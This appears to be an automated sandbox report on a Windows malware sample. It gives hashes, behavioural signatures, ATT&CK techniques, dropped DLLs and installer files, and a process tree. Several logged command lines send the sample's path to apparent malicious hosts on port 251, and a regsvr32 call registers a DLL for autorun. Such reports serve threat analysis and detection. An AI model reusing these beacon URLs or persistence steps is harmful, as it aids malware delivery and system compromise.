Analysis

  • max time kernel
    150s
  • max time network
    164s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    27-11-2022 16:36

General

  • Target

    eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708.exe

  • Size

    113KB

  • MD5

    a298dd36332941c8308614816bb0aeb4

  • SHA1

    e9a78fdf42f13b82bdc81e214940054440e6b540

  • SHA256

    eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708

  • SHA512

    4a71bbc35c6e83e08c69189529ce566a24fb96d7aa2022c88c0b65747f5fbadde2a40b24a043fcfee1f5d3492efd1d2861087a2edc13da989de0137a433f63ec

  • SSDEEP

    3072:34eYZ4+1JXJJX31sIOZFe4Cp+JIpNVd/C290bu:I5O87SIkFe4qpNVc5q

Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Registers COM server for autorun 1 TTPs 53 IoCs
  • Loads dropped DLL 13 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 45 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SetWindowsHookEx 30 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708.exe
    "C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:940
    • C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://dsdc.bestdfg.info:251/?t=1128&i=ie&70082f639ade117ec15d5d48c71ea29bf1c4870c=70082f639ade117ec15d5d48c71ea29bf1c4870c&uu=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1624
      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://dsdc.bestdfg.info:251/?t=1128&i=ie&70082f639ade117ec15d5d48c71ea29bf1c4870c=70082f639ade117ec15d5d48c71ea29bf1c4870c&uu=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2028
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:275457 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1596
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:1455119 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1196
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:1258514 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1152
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:1192990 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1588
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:2503707 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:2500
    • C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a1&tt=1128&ur=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:268
      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a1&tt=1128&ur=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
        3⤵
          PID:1852
      • C:\Program Files (x86)\Internet Explorer\iexplore.exe
        "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a2&tt=1128&ur=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:516
        • C:\Program Files\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a2&tt=1128&ur=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
          3⤵
            PID:384
        • C:\Program Files (x86)\Internet Explorer\iexplore.exe
          "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a3&tt=1128&ur=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1744
          • C:\Program Files\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a3&tt=1128&ur=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
            3⤵
              PID:988
          • C:\Users\Admin\AppData\Local\Temp\FunshionInstall_C105806.exe
            C:\Users\Admin\AppData\Local\Temp\FunshionInstall_C105806.exe
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            PID:2148
            • C:\Windows\system32\regsvr32.exe
              regsvr32.exe /s "C:\Windows\system32\quartz.dll"
              3⤵
              • Registers COM server for autorun
              • Modifies registry class
              PID:2188
            • C:\Windows\SysWOW64\regsvr32.exe
              regsvr32.exe /s "C:\Windows\system32\quartz.dll"
              3⤵
                PID:2204
            • C:\Program Files (x86)\Internet Explorer\iexplore.exe
              "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a4&tt=1128&ur=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
              2⤵
                PID:2316
                • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                  "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a4&tt=1128&ur=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
                  3⤵
                    PID:2324
                • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                  "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a5&tt=1128&ur=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
                  2⤵
                    PID:2468
                    • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a5&tt=1128&ur=C:\Users\Admin\AppData\Local\Temp\eb484dc10ce14575e71388e27ecde34db82d5701fe364acfb3ab3f5daac62708&70082f639ade117ec15d5d48c71ea29bf1c4870c
                      3⤵
                        PID:2480

                  Network

                  MITRE ATT&CK Matrix ATT&CK v6

                  Persistence

                  Registry Run Keys / Startup Folder

                  1
                  T1060

                  Defense Evasion

                  Modify Registry

                  1
                  T1112

                  Discovery

                  System Information Discovery

                  1
                  T1082

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\FunshionInstall_C105806.exe
                    Filesize

                    11.4MB

                    MD5

                    27e431909ee69665f003456ce3296aaa

                    SHA1

                    79655635a89e055f7594228dfbef3aa6bf8e381f

                    SHA256

                    22a2407ae9f95e79f2efa8516b92c9e89530ab2005ab308904484e3600d992fe

                    SHA512

                    4fdcacfde714c65964ceb1c9c3b8bb7e2ea94b0b285231facf43fcf2466a0e2741130c7ba04585ec5b6a673c40885f24627c372b6bcc3f18c8aaa5c882440b4f

                  • C:\Users\Admin\AppData\Local\Temp\FunshionInstall_C105806.exe
                    Filesize

                    11.4MB

                    MD5

                    27e431909ee69665f003456ce3296aaa

                    SHA1

                    79655635a89e055f7594228dfbef3aa6bf8e381f

                    SHA256

                    22a2407ae9f95e79f2efa8516b92c9e89530ab2005ab308904484e3600d992fe

                    SHA512

                    4fdcacfde714c65964ceb1c9c3b8bb7e2ea94b0b285231facf43fcf2466a0e2741130c7ba04585ec5b6a673c40885f24627c372b6bcc3f18c8aaa5c882440b4f

                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\4ZO7G47H.txt
                    Filesize

                    601B

                    MD5

                    fde25d6ca99a028add4fe171f9626ff6

                    SHA1

                    e5070bd0a4cbe25b7e322b802aba553bdff5e862

                    SHA256

                    c2afb04df0139e15fd9976fc15d235aad70778f2febecef9de2275a60439838d

                    SHA512

                    ca182301d3ee724c6d7372c40982ef43e34085437f6d085ceca3333433ae7b594c8f8ad17827e756db2f3b535935faf90f0cfb1c0b3e389d8262dbe60ffa7380

                  • \Users\Admin\AppData\Local\Temp\FunshionInstall_C105806.exe
                    Filesize

                    11.4MB

                    MD5

                    27e431909ee69665f003456ce3296aaa

                    SHA1

                    79655635a89e055f7594228dfbef3aa6bf8e381f

                    SHA256

                    22a2407ae9f95e79f2efa8516b92c9e89530ab2005ab308904484e3600d992fe

                    SHA512

                    4fdcacfde714c65964ceb1c9c3b8bb7e2ea94b0b285231facf43fcf2466a0e2741130c7ba04585ec5b6a673c40885f24627c372b6bcc3f18c8aaa5c882440b4f

                  • \Users\Admin\AppData\Local\Temp\FunshionInstall_C105806.exe
                    Filesize

                    11.4MB

                    MD5

                    27e431909ee69665f003456ce3296aaa

                    SHA1

                    79655635a89e055f7594228dfbef3aa6bf8e381f

                    SHA256

                    22a2407ae9f95e79f2efa8516b92c9e89530ab2005ab308904484e3600d992fe

                    SHA512

                    4fdcacfde714c65964ceb1c9c3b8bb7e2ea94b0b285231facf43fcf2466a0e2741130c7ba04585ec5b6a673c40885f24627c372b6bcc3f18c8aaa5c882440b4f

                  • \Users\Admin\AppData\Local\Temp\FunshionInstall_C105806.exe
                    Filesize

                    11.4MB

                    MD5

                    27e431909ee69665f003456ce3296aaa

                    SHA1

                    79655635a89e055f7594228dfbef3aa6bf8e381f

                    SHA256

                    22a2407ae9f95e79f2efa8516b92c9e89530ab2005ab308904484e3600d992fe

                    SHA512

                    4fdcacfde714c65964ceb1c9c3b8bb7e2ea94b0b285231facf43fcf2466a0e2741130c7ba04585ec5b6a673c40885f24627c372b6bcc3f18c8aaa5c882440b4f

                  • \Users\Admin\AppData\Local\Temp\nsy3FEF.tmp\InetLoad.dll
                    Filesize

                    18KB

                    MD5

                    994669c5737b25c26642c94180e92fa2

                    SHA1

                    d8a1836914a446b0e06881ce1be8631554adafde

                    SHA256

                    bf01a1f272e0daf82df3407690b646e0ff6b2c562e36e47cf177eda71ccb6f6c

                    SHA512

                    d0ab7ca7f890ef9e59015c33e6b400a0a4d1ce0d24599537e09e845f4b953e3ecd44bf3e3cbe584f57c2948743e689ed67d2d40e6caf923bd630886e89c38563

                  • \Users\Admin\AppData\Local\Temp\nsy3FEF.tmp\InetLoad.dll
                    Filesize

                    18KB

                    MD5

                    994669c5737b25c26642c94180e92fa2

                    SHA1

                    d8a1836914a446b0e06881ce1be8631554adafde

                    SHA256

                    bf01a1f272e0daf82df3407690b646e0ff6b2c562e36e47cf177eda71ccb6f6c

                    SHA512

                    d0ab7ca7f890ef9e59015c33e6b400a0a4d1ce0d24599537e09e845f4b953e3ecd44bf3e3cbe584f57c2948743e689ed67d2d40e6caf923bd630886e89c38563

                  • \Users\Admin\AppData\Local\Temp\nsy3FEF.tmp\InetLoad.dll
                    Filesize

                    18KB

                    MD5

                    994669c5737b25c26642c94180e92fa2

                    SHA1

                    d8a1836914a446b0e06881ce1be8631554adafde

                    SHA256

                    bf01a1f272e0daf82df3407690b646e0ff6b2c562e36e47cf177eda71ccb6f6c

                    SHA512

                    d0ab7ca7f890ef9e59015c33e6b400a0a4d1ce0d24599537e09e845f4b953e3ecd44bf3e3cbe584f57c2948743e689ed67d2d40e6caf923bd630886e89c38563

                  • \Users\Admin\AppData\Local\Temp\nsy3FEF.tmp\InetLoad.dll
                    Filesize

                    18KB

                    MD5

                    994669c5737b25c26642c94180e92fa2

                    SHA1

                    d8a1836914a446b0e06881ce1be8631554adafde

                    SHA256

                    bf01a1f272e0daf82df3407690b646e0ff6b2c562e36e47cf177eda71ccb6f6c

                    SHA512

                    d0ab7ca7f890ef9e59015c33e6b400a0a4d1ce0d24599537e09e845f4b953e3ecd44bf3e3cbe584f57c2948743e689ed67d2d40e6caf923bd630886e89c38563

                  • \Users\Admin\AppData\Local\Temp\nsy3FEF.tmp\Math.dll
                    Filesize

                    66KB

                    MD5

                    9eb6cecdd0df9fe32027fcdb51c625af

                    SHA1

                    52b5b054ff6e7325c3087822901ea2f2c4f9572a

                    SHA256

                    54cf1572ed47f614b0ffb886c99fc5725f454ef7ff919fbb2fd13d1cbe270560

                    SHA512

                    864742ec6f74f94057b54cd9b09707c0125ac8db4844fa80af201e8b72a811bb68276c993e75bce67e5ece4f83644572edbdee5e963634c5a37839615faea97a

                  • \Users\Admin\AppData\Local\Temp\nsy3FEF.tmp\System.dll
                    Filesize

                    11KB

                    MD5

                    00a0194c20ee912257df53bfe258ee4a

                    SHA1

                    d7b4e319bc5119024690dc8230b9cc919b1b86b2

                    SHA256

                    dc4da2ccadb11099076926b02764b2b44ad8f97cd32337421a4cc21a3f5448f3

                    SHA512

                    3b38a2c17996c3b77ebf7b858a6c37415615e756792132878d8eddbd13cb06710b7da0e8b58104768f8e475fc93e8b44b3b1ab6f70ddf52edee111aaf5ef5667

                  • \Users\Admin\AppData\Local\Temp\nsy3FEF.tmp\inetc.dll
                    Filesize

                    20KB

                    MD5

                    50fdadda3e993688401f6f1108fabdb4

                    SHA1

                    04a9ae55d0fb726be49809582cea41d75bf22a9a

                    SHA256

                    6d6ddc0d2b7d59eb91be44939457858ced5eb23cf4aa93ef33bb600eb28de6f6

                    SHA512

                    e9628870feea8c3aaefe22a2af41cf34b1c1778c4a0e81d069f50553ce1a23f68a0ba74b296420b2be92425d4995a43e51c018c2e8197ec2ec39305e87c56be8

                  • \Users\Admin\AppData\Local\Temp\nsy3FEF.tmp\inetc.dll
                    Filesize

                    20KB

                    MD5

                    50fdadda3e993688401f6f1108fabdb4

                    SHA1

                    04a9ae55d0fb726be49809582cea41d75bf22a9a

                    SHA256

                    6d6ddc0d2b7d59eb91be44939457858ced5eb23cf4aa93ef33bb600eb28de6f6

                    SHA512

                    e9628870feea8c3aaefe22a2af41cf34b1c1778c4a0e81d069f50553ce1a23f68a0ba74b296420b2be92425d4995a43e51c018c2e8197ec2ec39305e87c56be8

                  • \Users\Admin\AppData\Local\Temp\nsy3FEF.tmp\time.dll
                    Filesize

                    10KB

                    MD5

                    38977533750fe69979b2c2ac801f96e6

                    SHA1

                    74643c30cda909e649722ed0c7f267903558e92a

                    SHA256

                    b4a95a455e53372c59f91bc1b5fb9e5c8e4a10a506fa04aaf7be27048b30ae35

                    SHA512

                    e17069395ad4a17e24f7cd3c532670d40244bd5ae3887c82e3b2e4a68c250cd55e2d8b329d6ff0e2d758955ab7470534e6307779e49fe331c1fd2242ea73fd53

                  • \Users\Admin\AppData\Local\Temp\tools\gma.dll
                    Filesize

                    484KB

                    MD5

                    0f35c14ffe3f0425e77099b618d6ebae

                    SHA1

                    6261ef267c3ea44a3698b73f207bc1f78f98c89d

                    SHA256

                    5a5a180569b9dc51e0a80405ee875e202a464cbe2ed712c86f3e79c0b61599ea

                    SHA512

                    7a166e8c79fb24e9b02f7f9e464d75c05dbfc6a428ce6067475520afaa84b999c4f9b701be91193b302eb3f024d6a2390c0fa4af5ec635ab6812aeb834dbde4f

                  • memory/940-54-0x0000000076411000-0x0000000076413000-memory.dmp
                    Filesize

                    8KB

                  • memory/2148-67-0x0000000000000000-mapping.dmp
                  • memory/2188-73-0x0000000000000000-mapping.dmp
                  • memory/2188-74-0x000007FEFC4E1000-0x000007FEFC4E3000-memory.dmp
                    Filesize

                    8KB

                  • memory/2204-75-0x0000000000000000-mapping.dmp